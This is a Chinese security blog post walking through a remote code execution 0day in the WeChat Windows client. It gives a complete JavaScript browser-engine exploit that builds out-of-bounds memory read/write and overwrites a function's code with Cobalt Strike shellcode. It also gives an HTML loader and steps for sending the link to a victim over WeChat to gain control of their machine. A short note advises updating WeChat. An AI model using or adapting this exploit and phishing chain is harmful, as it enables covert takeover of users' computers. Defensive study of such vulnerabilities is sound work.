Adminxe's Blog | 低调求发展 - 潜心习安全 ,技术永无止境 | 谢谢您对本站的支持,有什么问题或者建议请及时联系:点击这里给我发消息

关于WeChat上线CobaltStrike钓鱼-微信客户端远程命令执行0day漏洞

渗透测试 Adminxe 2705℃ 0评论

0x00 前言

近日,网上披露微信客户端存在远程命令执行0day漏洞。黑客只需要通过微信发送一个特制web链接,用户一旦点击链接,微信PC(windows)版进程wechatweb.exe会加载shellcode执行,整个过程无文件落地,无新进程产生,攻击者可以直接获取目标机器权限。

这段时间国家HW烟火比较激烈,不同的攻击方式出现了,同时涌现了大批量的0day漏洞,在蓝方不懈的防守下,截获了大批量的0day,其中比较突出的就是这个微信钓鱼上线CS的操作,下面也对其进行复现。

0x01 影响范围

微信PC客户端(Windows)< 3.2.1.141

0x02 复现操作

1、CS生成shellcode

这里我是用C++的远程x86的shellcode来进行生成:payload.c

2、使用notepad++对shellcode进行处理,具体几个小细节:

  • 1、提取双引号之间的shellcode
  • 2、将’\’批量替换成’,0′
  • 3、替换为英文逗号,并且替换完成后需要把开头的逗号去掉

替换完之后的样子:

3、将处理后的shellcode复制到js代码中

代码位置:

var shellcode = [放入处理好的shellcode]

js代码,未载入shellcode:(shellcode.js)

ENABLE_LOG = true;
IN_WORKER = true;
// run calc and hang in a loop
var shellcode = [这里放你自己的cs处理过的shellcode];
function print(data) {
}
var not_optimised_out = 0;
var target_function = (function (value) {
    if (value == 0xdecaf0) {
        not_optimised_out += 1;
    }
    not_optimised_out += 1;
    not_optimised_out |= 0xff;
    not_optimised_out *= 12;
});
for (var i = 0; i < 0x10000; ++i) {
    target_function(i);
}
var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;
function cb(flag) {
    if (flag == true) {
        return;
    }
    g_array = new Array(0);
    g_array[0] = 0x1dbabe * 2;
    return 'c01db33f';
}
function gc() {
    for (var i = 0; i < 0x10000; ++i) {
        new String();
    }
}
function oobAccess() {
    var this_ = this;
    this.buffer = null;
    this.buffer_view = null;
    this.page_buffer = null;
    this.page_view = null;
    this.prevent_opt = [];
    var kSlotOffset = 0x1f;
    var kBackingStoreOffset = 0xf;
    class LeakArrayBuffer extends ArrayBuffer {
        constructor() {
            super(0x1000);
            this.slot = this;
        }
    }
    this.page_buffer = new LeakArrayBuffer();
    this.page_view = new DataView(this.page_buffer);
    new RegExp({ toString: function () { return 'a' } });
    cb(true);
    class DerivedBase extends RegExp {
        constructor() {
            // var array = null;
            super(
                // at this point, the 4-byte allocation for the JSRegExp `this` object
                // has just happened.
                {
                    toString: cb
                }, 'g'
                // now the runtime JSRegExp constructor is called, corrupting the
                // JSArray.
            );
            // this allocation will now directly follow the FixedArray allocation
            // made for `this.data`, which is where `array.elements` points to.
            this_.buffer = new ArrayBuffer(0x80);
            g_array[8] = this_.page_buffer;
        }
    }
    // try{
    var derived_n = eval(`(function derived_n(i) {
        if (i == 0) {
            return DerivedBase;
        }
        class DerivedN extends derived_n(i-1) {
            constructor() {
                super();
                return;
                ${"this.a=0;".repeat(tDerivedNCount)}
            }
        }
        return DerivedN;
    })`);
    gc();
    new (derived_n(tDerivedNDepth))();
    this.buffer_view = new DataView(this.buffer);
    this.leakPtr = function (obj) {
        this.page_buffer.slot = obj;
        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
    }
    this.setPtr = function (addr) {
        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
    }
    this.read32 = function (addr) {
        this.setPtr(addr);
        return this.page_view.getUint32(0, true, ...this.prevent_opt);
    }
    this.write32 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint32(0, value, true, ...this.prevent_opt);
    }
    this.write8 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint8(0, value, ...this.prevent_opt);
    }
    this.setBytes = function (addr, content) {
        for (var i = 0; i < content.length; i++) {
            this.write8(addr + i, content[i]);
        }
    }
    return this;
}
function trigger() {
    var oob = oobAccess();
    var func_ptr = oob.leakPtr(target_function);
    print('[*] target_function at 0x' + func_ptr.toString(16));
    var kCodeInsOffset = 0x1b;
    var code_addr = oob.read32(func_ptr + kCodeInsOffset);
    print('[*] code_addr at 0x' + code_addr.toString(16));
    oob.setBytes(code_addr, shellcode);
    target_function(0);
}
try{
    print("start running");
    trigger();
}catch(e){
    print(e);
}

4、将载入shellcode的js代码,载入html文件中的script标签中:

html代码,未载入shellcode:( Loader.html )

<head>
<title>Just Test!</title>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
</head>
<h1>Juet Test Js-shellcode Loader!</h1>
<script>

Js代码修改好的直接复制到这块代码区

</script>

5、然后将Loader.html文件挂在到服务器web端,发送至微信端,进行模拟电脑微信打开操作,成功上线。

0x03 修复建议

更新至微信最新版本

目前微信已修复漏洞并发布了更新版本,强烈建议大家立即将微信更新到3.2.1.141以上版本修复漏洞。官方下载链接:

https://dldir1.qq.com/weixin/Windows/WeChatSetup.exe

转载请注明:Adminxe's Blog » 关于WeChat上线CobaltStrike钓鱼-微信客户端远程命令执行0day漏洞

喜欢 (26)or分享 (0)
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
(2)个小伙伴在吐槽
  1. 非常不错!!!!
    跨境电商运营2021-04-18 10:17 回复
  2. 非常感谢,写的真的很好。
    xxxxxxxxxxx2021-06-05 10:08 回复